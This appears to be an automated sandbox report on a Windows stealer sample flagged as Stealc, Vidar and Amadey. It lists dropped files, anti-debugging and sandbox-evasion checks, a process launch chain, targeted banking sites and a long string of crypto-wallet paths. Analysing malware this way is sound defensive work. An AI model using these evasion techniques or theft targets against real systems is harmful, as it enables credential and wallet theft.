Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1013209001\ZdGtikR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ZdGtikR[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 7376	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7356	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7356	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7352	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7352	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7372	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7372	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7360	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7360	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3432	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3432	Thread sleep time: -1620000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3432	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C98C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C98C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000016.00000000.3302114536.000000000119E000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.3411160350.000000000119E000.00000040.00000001.01000000.0000000E.sdmp, HIDGCFBFBF.exe.0.dr, random[1].exe.0.dr, skotes.exe.17.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JKEHIIJJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: JKEHIIJJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: JKEHIIJJ.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<
Source: file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaresF
Source: JKEHIIJJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: JKEHIIJJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2746505709.0000000000903000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.3410220346.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JKEHIIJJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: JKEHIIJJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: JKEHIIJJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: JKEHIIJJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: JKEHIIJJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: JKEHIIJJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: JKEHIIJJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: JKEHIIJJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: JKEHIIJJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: JKEHIIJJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: JKEHIIJJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: JKEHIIJJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2747883550.000000000108D000.00000040.00000001.01000000.00000003.sdmp, HIDGCFBFBF.exe, 00000011.00000002.2781396260.000000000027E000.00000040.00000001.01000000.0000000B.sdmp, HIDGCFBFBF.exe, 00000011.00000001.2727611783.000000000027E000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000012.00000002.2813871611.000000000119E000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.3411160350.000000000119E000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JKEHIIJJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: JKEHIIJJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: HIDGCFBFBF.exe, 00000011.00000000.2727218393.000000000027E000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000012.00000000.2754360058.000000000119E000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.3302114536.000000000119E000.00000080.00000001.01000000.0000000E.sdmp, HIDGCFBFBF.exe.0.dr, random[1].exe.0.dr, skotes.exe.17.dr	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

Code function: 17_2_04FE0BCD rdtsc

17_2_04FE0BCD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9D5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C973480

Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000B652B mov eax, dword ptr fs:[00000030h]	17_2_000B652B
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000BA302 mov eax, dword ptr fs:[00000030h]	17_2_000BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FDA302 mov eax, dword ptr fs:[00000030h]	18_2_00FDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FD652B mov eax, dword ptr fs:[00000030h]	18_2_00FD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FDA302 mov eax, dword ptr fs:[00000030h]	22_2_00FDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FD652B mov eax, dword ptr fs:[00000030h]	22_2_00FD652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C9AB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C9AB1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB5AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDGCFBFBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDGCFBFBF.exe "C:\Users\user\Documents\HIDGCFBFBF.exe"	Jump to behavior
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBA4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CBA4760

Source: skotes.exe, skotes.exe, 00000016.00000002.3411573103.00000000011E4000.00000040.00000001.01000000.0000000E.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9AB341 cpuid

0_2_6C9AB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9735A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9735A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 22_2_00FA65E0 LookupAccountNameA,

22_2_00FA65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 22_2_00FE2517 GetTimeZoneInformation,

22_2_00FE2517

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.skotes.exe.dc8dc5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.skotes.exe.fa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.HIDGCFBFBF.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.fa0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2813539792.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2780992921.0000000000081000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3410600377.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2747228238.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2179491110.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 